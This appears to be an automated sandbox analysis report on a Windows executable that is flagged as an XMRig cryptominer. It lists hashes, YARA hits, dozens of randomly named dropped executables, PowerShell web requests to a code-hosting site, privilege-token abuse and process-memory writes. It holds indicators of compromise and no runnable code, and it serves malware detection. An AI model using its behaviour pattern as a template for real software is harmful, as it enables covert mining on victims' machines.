xmrig | f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
11-07-2024 08:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
Size

3.2MB
MD5

6011ea3ac15a89b7fa589e9198c87b49
SHA1

7c9237e0a377aab247bae24fde5e1e2ee3f43c24
SHA256

f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a
SHA512

55d13ab82eef4dba696649b7bfee191b8a2a97e08ccb37b4a026a7ce8f1c2564aaf1f6239b822189776bf9e950719a616d7a19bc688b70df2b81c17c199ffe70
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWh:7bBeSFkd

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/912-0-0x00007FF643750000-0x00007FF643B46000-memory.dmp	xmrig
behavioral2/files/0x00070000000234ca-8.dat	xmrig
behavioral2/files/0x0009000000023466-6.dat	xmrig
behavioral2/files/0x00070000000234cd-24.dat	xmrig
behavioral2/files/0x00070000000234cb-32.dat	xmrig
behavioral2/files/0x00070000000234d1-46.dat	xmrig
behavioral2/memory/4904-65-0x00007FF77BBE0000-0x00007FF77BFD6000-memory.dmp	xmrig
behavioral2/files/0x00070000000234d6-78.dat	xmrig
behavioral2/memory/4428-85-0x00007FF6FACD0000-0x00007FF6FB0C6000-memory.dmp	xmrig
behavioral2/memory/3052-96-0x00007FF7BC990000-0x00007FF7BCD86000-memory.dmp	xmrig
behavioral2/memory/4696-99-0x00007FF7CFD30000-0x00007FF7D0126000-memory.dmp	xmrig
behavioral2/memory/3256-102-0x00007FF75F100000-0x00007FF75F4F6000-memory.dmp	xmrig
behavioral2/memory/3020-104-0x00007FF67CA80000-0x00007FF67CE76000-memory.dmp	xmrig
behavioral2/memory/3652-105-0x00007FF6D7EE0000-0x00007FF6D82D6000-memory.dmp	xmrig
behavioral2/memory/1764-103-0x00007FF794B70000-0x00007FF794F66000-memory.dmp	xmrig
behavioral2/memory/2068-101-0x00007FF65DC30000-0x00007FF65E026000-memory.dmp	xmrig
behavioral2/memory/712-100-0x00007FF657D10000-0x00007FF658106000-memory.dmp	xmrig
behavioral2/memory/2836-98-0x00007FF69EBC0000-0x00007FF69EFB6000-memory.dmp	xmrig
behavioral2/memory/1688-97-0x00007FF7F6A00000-0x00007FF7F6DF6000-memory.dmp	xmrig
behavioral2/files/0x00070000000234d7-94.dat	xmrig
behavioral2/files/0x00080000000234d5-92.dat	xmrig
behavioral2/memory/4772-91-0x00007FF704C70000-0x00007FF705066000-memory.dmp	xmrig
behavioral2/files/0x00070000000234d3-87.dat	xmrig
behavioral2/memory/2760-86-0x00007FF7E68B0000-0x00007FF7E6CA6000-memory.dmp	xmrig
behavioral2/files/0x00070000000234d2-82.dat	xmrig
behavioral2/files/0x00070000000234d0-72.dat	xmrig
behavioral2/files/0x00070000000234cf-69.dat	xmrig
behavioral2/memory/452-66-0x00007FF6A90A0000-0x00007FF6A9496000-memory.dmp	xmrig
behavioral2/files/0x00070000000234ce-50.dat	xmrig
behavioral2/files/0x00070000000234cc-40.dat	xmrig
behavioral2/files/0x00080000000234c9-19.dat	xmrig
behavioral2/files/0x00070000000234d8-132.dat	xmrig
behavioral2/memory/3976-165-0x00007FF687830000-0x00007FF687C26000-memory.dmp	xmrig
behavioral2/files/0x00070000000234e7-177.dat	xmrig
behavioral2/files/0x00070000000234e1-181.dat	xmrig
behavioral2/files/0x00070000000234eb-190.dat	xmrig
behavioral2/files/0x00070000000234ed-208.dat	xmrig
behavioral2/files/0x00070000000234e8-206.dat	xmrig
behavioral2/files/0x00070000000234ec-205.dat	xmrig
behavioral2/memory/4392-200-0x00007FF735EF0000-0x00007FF7362E6000-memory.dmp	xmrig
behavioral2/files/0x00070000000234e3-203.dat	xmrig
behavioral2/files/0x00070000000234e6-185.dat	xmrig
behavioral2/memory/2816-163-0x00007FF7D70A0000-0x00007FF7D7496000-memory.dmp	xmrig
behavioral2/memory/4404-160-0x00007FF630650000-0x00007FF630A46000-memory.dmp	xmrig
behavioral2/files/0x00070000000234e2-157.dat	xmrig
behavioral2/files/0x00090000000234c3-156.dat	xmrig
behavioral2/files/0x00070000000234ef-227.dat	xmrig
behavioral2/memory/3484-248-0x00007FF708870000-0x00007FF708C66000-memory.dmp	xmrig
behavioral2/files/0x00070000000234f6-256.dat	xmrig
behavioral2/files/0x00070000000234fc-269.dat	xmrig
behavioral2/files/0x00070000000234f7-265.dat	xmrig
behavioral2/files/0x00070000000234f5-254.dat	xmrig
behavioral2/files/0x00070000000234f3-252.dat	xmrig
behavioral2/files/0x00070000000234f1-246.dat	xmrig
behavioral2/memory/3532-237-0x00007FF6136C0000-0x00007FF613AB6000-memory.dmp	xmrig
behavioral2/memory/5116-219-0x00007FF763B60000-0x00007FF763F56000-memory.dmp	xmrig
behavioral2/memory/2536-215-0x00007FF697260000-0x00007FF697656000-memory.dmp	xmrig
behavioral2/memory/348-213-0x00007FF781AB0000-0x00007FF781EA6000-memory.dmp	xmrig
behavioral2/memory/912-1501-0x00007FF643750000-0x00007FF643B46000-memory.dmp	xmrig
behavioral2/memory/4404-2276-0x00007FF630650000-0x00007FF630A46000-memory.dmp	xmrig
behavioral2/memory/2068-3374-0x00007FF65DC30000-0x00007FF65E026000-memory.dmp	xmrig
behavioral2/memory/452-3382-0x00007FF6A90A0000-0x00007FF6A9496000-memory.dmp	xmrig
behavioral2/memory/2760-3408-0x00007FF7E68B0000-0x00007FF7E6CA6000-memory.dmp	xmrig
behavioral2/memory/3052-3410-0x00007FF7BC990000-0x00007FF7BCD86000-memory.dmp	xmrig

Blocklisted process makes network request 9 IoCs

flow	pid	Process
3	1960	powershell.exe
5	1960	powershell.exe
7	1960	powershell.exe
8	1960	powershell.exe
10	1960	powershell.exe
11	1960	powershell.exe
13	1960	powershell.exe
18	1960	powershell.exe
19	1960	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1960	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4904	LcwmeRu.exe
2068	AsuXEuK.exe
452	sJAOVYp.exe
4428	FvoaUvW.exe
2760	BXPeOke.exe
4772	tAijYMk.exe
3052	UZlWtrO.exe
3256	jLeevLY.exe
1688	hjYZSfm.exe
2836	wMJNFQE.exe
1764	eznwpgT.exe
3020	gQBJFEY.exe
4696	kBcczOG.exe
3652	ofrIZBz.exe
712	KfKYyXF.exe
4404	HYXEqGo.exe
4392	uWQpmlL.exe
2816	udVEiGP.exe
3976	Prwvrvb.exe
5116	FZKShWt.exe
348	DRSKyAD.exe
2536	GMkADoP.exe
3532	ewiGRjJ.exe
3484	vMiRerh.exe
4292	PEhIKiU.exe
3528	uUduJNj.exe
3160	wSlDrXl.exe
2508	NCjtyHc.exe
1424	qKtNvIw.exe
1508	flkJMil.exe
4632	SpoJomd.exe
664	jGgeViy.exe
4460	QPrgoSo.exe
3712	GvhZszq.exe
1616	KZRGAZt.exe
3460	OGLRbYc.exe
4480	ukeMaZR.exe
1736	gClwgfT.exe
3284	TQGLMCJ.exe
4612	LCIbbgp.exe
3516	plFRxbG.exe
3120	kdyRjTX.exe
4160	NyXNdTK.exe
4380	vaHcshA.exe
1576	LJYfuls.exe
2248	paYpHVX.exe
1188	irqZgwn.exe
4992	APPvkBi.exe
2876	TZLugeI.exe
2620	uUjgMsm.exe
1488	bJKGJVa.exe
2528	jZSOqYg.exe
4976	wfsYYkE.exe
1100	CagYheV.exe
1936	lubRhdE.exe
3492	oUyrXJV.exe
4044	OXFIZDS.exe
2036	dWwxkJn.exe
668	XKDDwmx.exe
3760	fUEUJpv.exe
4308	KCQHZMo.exe
2656	JulYEJw.exe
2352	BKVinzs.exe
3656	FbvEsja.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/912-0-0x00007FF643750000-0x00007FF643B46000-memory.dmp	upx
behavioral2/files/0x00070000000234ca-8.dat	upx
behavioral2/files/0x0009000000023466-6.dat	upx
behavioral2/files/0x00070000000234cd-24.dat	upx
behavioral2/files/0x00070000000234cb-32.dat	upx
behavioral2/files/0x00070000000234d1-46.dat	upx
behavioral2/memory/4904-65-0x00007FF77BBE0000-0x00007FF77BFD6000-memory.dmp	upx
behavioral2/files/0x00070000000234d6-78.dat	upx
behavioral2/memory/4428-85-0x00007FF6FACD0000-0x00007FF6FB0C6000-memory.dmp	upx
behavioral2/memory/3052-96-0x00007FF7BC990000-0x00007FF7BCD86000-memory.dmp	upx
behavioral2/memory/4696-99-0x00007FF7CFD30000-0x00007FF7D0126000-memory.dmp	upx
behavioral2/memory/3256-102-0x00007FF75F100000-0x00007FF75F4F6000-memory.dmp	upx
behavioral2/memory/3020-104-0x00007FF67CA80000-0x00007FF67CE76000-memory.dmp	upx
behavioral2/memory/3652-105-0x00007FF6D7EE0000-0x00007FF6D82D6000-memory.dmp	upx
behavioral2/memory/1764-103-0x00007FF794B70000-0x00007FF794F66000-memory.dmp	upx
behavioral2/memory/2068-101-0x00007FF65DC30000-0x00007FF65E026000-memory.dmp	upx
behavioral2/memory/712-100-0x00007FF657D10000-0x00007FF658106000-memory.dmp	upx
behavioral2/memory/2836-98-0x00007FF69EBC0000-0x00007FF69EFB6000-memory.dmp	upx
behavioral2/memory/1688-97-0x00007FF7F6A00000-0x00007FF7F6DF6000-memory.dmp	upx
behavioral2/files/0x00070000000234d7-94.dat	upx
behavioral2/files/0x00080000000234d5-92.dat	upx
behavioral2/memory/4772-91-0x00007FF704C70000-0x00007FF705066000-memory.dmp	upx
behavioral2/files/0x00070000000234d3-87.dat	upx
behavioral2/memory/2760-86-0x00007FF7E68B0000-0x00007FF7E6CA6000-memory.dmp	upx
behavioral2/files/0x00070000000234d2-82.dat	upx
behavioral2/files/0x00070000000234d0-72.dat	upx
behavioral2/files/0x00070000000234cf-69.dat	upx
behavioral2/memory/452-66-0x00007FF6A90A0000-0x00007FF6A9496000-memory.dmp	upx
behavioral2/files/0x00070000000234ce-50.dat	upx
behavioral2/files/0x00070000000234cc-40.dat	upx
behavioral2/files/0x00080000000234c9-19.dat	upx
behavioral2/files/0x00070000000234d8-132.dat	upx
behavioral2/memory/3976-165-0x00007FF687830000-0x00007FF687C26000-memory.dmp	upx
behavioral2/files/0x00070000000234e7-177.dat	upx
behavioral2/files/0x00070000000234e1-181.dat	upx
behavioral2/files/0x00070000000234eb-190.dat	upx
behavioral2/files/0x00070000000234ed-208.dat	upx
behavioral2/files/0x00070000000234e8-206.dat	upx
behavioral2/files/0x00070000000234ec-205.dat	upx
behavioral2/memory/4392-200-0x00007FF735EF0000-0x00007FF7362E6000-memory.dmp	upx
behavioral2/files/0x00070000000234e3-203.dat	upx
behavioral2/files/0x00070000000234e6-185.dat	upx
behavioral2/memory/2816-163-0x00007FF7D70A0000-0x00007FF7D7496000-memory.dmp	upx
behavioral2/memory/4404-160-0x00007FF630650000-0x00007FF630A46000-memory.dmp	upx
behavioral2/files/0x00070000000234e2-157.dat	upx
behavioral2/files/0x00090000000234c3-156.dat	upx
behavioral2/files/0x00070000000234ef-227.dat	upx
behavioral2/memory/3484-248-0x00007FF708870000-0x00007FF708C66000-memory.dmp	upx
behavioral2/files/0x00070000000234f6-256.dat	upx
behavioral2/files/0x00070000000234fc-269.dat	upx
behavioral2/files/0x00070000000234f7-265.dat	upx
behavioral2/files/0x00070000000234f5-254.dat	upx
behavioral2/files/0x00070000000234f3-252.dat	upx
behavioral2/files/0x00070000000234f1-246.dat	upx
behavioral2/memory/3532-237-0x00007FF6136C0000-0x00007FF613AB6000-memory.dmp	upx
behavioral2/memory/5116-219-0x00007FF763B60000-0x00007FF763F56000-memory.dmp	upx
behavioral2/memory/2536-215-0x00007FF697260000-0x00007FF697656000-memory.dmp	upx
behavioral2/memory/348-213-0x00007FF781AB0000-0x00007FF781EA6000-memory.dmp	upx
behavioral2/memory/912-1501-0x00007FF643750000-0x00007FF643B46000-memory.dmp	upx
behavioral2/memory/4404-2276-0x00007FF630650000-0x00007FF630A46000-memory.dmp	upx
behavioral2/memory/2068-3374-0x00007FF65DC30000-0x00007FF65E026000-memory.dmp	upx
behavioral2/memory/452-3382-0x00007FF6A90A0000-0x00007FF6A9496000-memory.dmp	upx
behavioral2/memory/2760-3408-0x00007FF7E68B0000-0x00007FF7E6CA6000-memory.dmp	upx
behavioral2/memory/3052-3410-0x00007FF7BC990000-0x00007FF7BCD86000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\kqFFRlP.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\wSdYPLw.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\bhRWhpu.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\darkKKF.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\lVDPpCL.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\YxIAUEq.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\FScCCqt.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\umczSVi.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\CiDSfgC.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\bGUPYWx.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\YwClddT.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\MdgIybt.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\TjwGabU.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\ZlZRrSi.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\vdYKNMx.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\hucxQfi.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\wVAgCqO.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\xmgsBXJ.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\bcziyVx.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\mmBWSWY.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\VwoJORk.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\IAyBVCM.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\eacinnn.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\gDXABrX.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\newsEWu.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\HnUrdCm.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\sQjcMQB.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\EOpqCgW.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\siHJeZJ.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\iGkGMMy.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\IoKGykt.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\XUiVtKN.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\hgJxtpi.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\cvzMral.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\GgynWFG.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\EcdwaYN.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\vxaUIiU.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\jswPLIt.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\wByvWXJ.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\WEdwAIP.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\JosARlc.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\iTDQwni.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\AUNkfNs.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\QUTlFrp.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\TIQLmiQ.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\nARfDYr.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\MzzaxrV.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\BVaCnVY.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\UhyfXqQ.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\fllNcQZ.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\ZLzQDfN.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\jjORuHb.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\luNjnjT.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\eFdGdwU.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\DxCyuZB.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\dWwxkJn.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\mTOdXYX.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\GbgonCw.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\obczoxT.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\XoRgWxY.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\YaleeMM.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\RxSvHly.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\krTghgW.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
File created	C:\Windows\System\oISKKOK.exe	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeLockMemoryPrivilege	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 912 wrote to memory of 1960	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	84
PID 912 wrote to memory of 1960	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	84
PID 912 wrote to memory of 4904	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	85
PID 912 wrote to memory of 4904	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	85
PID 912 wrote to memory of 2068	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	86
PID 912 wrote to memory of 2068	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	86
PID 912 wrote to memory of 452	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	87
PID 912 wrote to memory of 452	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	87
PID 912 wrote to memory of 4428	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	88
PID 912 wrote to memory of 4428	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	88
PID 912 wrote to memory of 2760	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	89
PID 912 wrote to memory of 2760	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	89
PID 912 wrote to memory of 4772	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	90
PID 912 wrote to memory of 4772	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	90
PID 912 wrote to memory of 3052	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	91
PID 912 wrote to memory of 3052	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	91
PID 912 wrote to memory of 3256	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	92
PID 912 wrote to memory of 3256	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	92
PID 912 wrote to memory of 1688	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	93
PID 912 wrote to memory of 1688	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	93
PID 912 wrote to memory of 2836	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	94
PID 912 wrote to memory of 2836	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	94
PID 912 wrote to memory of 1764	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	95
PID 912 wrote to memory of 1764	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	95
PID 912 wrote to memory of 3020	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	96
PID 912 wrote to memory of 3020	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	96
PID 912 wrote to memory of 4696	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	97
PID 912 wrote to memory of 4696	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	97
PID 912 wrote to memory of 3652	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	98
PID 912 wrote to memory of 3652	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	98
PID 912 wrote to memory of 712	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	99
PID 912 wrote to memory of 712	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	99
PID 912 wrote to memory of 4404	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	100
PID 912 wrote to memory of 4404	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	100
PID 912 wrote to memory of 4392	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	101
PID 912 wrote to memory of 4392	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	101
PID 912 wrote to memory of 2816	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	102
PID 912 wrote to memory of 2816	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	102
PID 912 wrote to memory of 3976	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	103
PID 912 wrote to memory of 3976	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	103
PID 912 wrote to memory of 5116	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	104
PID 912 wrote to memory of 5116	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	104
PID 912 wrote to memory of 348	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	105
PID 912 wrote to memory of 348	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	105
PID 912 wrote to memory of 2536	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	106
PID 912 wrote to memory of 2536	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	106
PID 912 wrote to memory of 3532	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	107
PID 912 wrote to memory of 3532	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	107
PID 912 wrote to memory of 3484	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	108
PID 912 wrote to memory of 3484	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	108
PID 912 wrote to memory of 4292	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	109
PID 912 wrote to memory of 4292	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	109
PID 912 wrote to memory of 3528	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	110
PID 912 wrote to memory of 3528	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	110
PID 912 wrote to memory of 3160	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	111
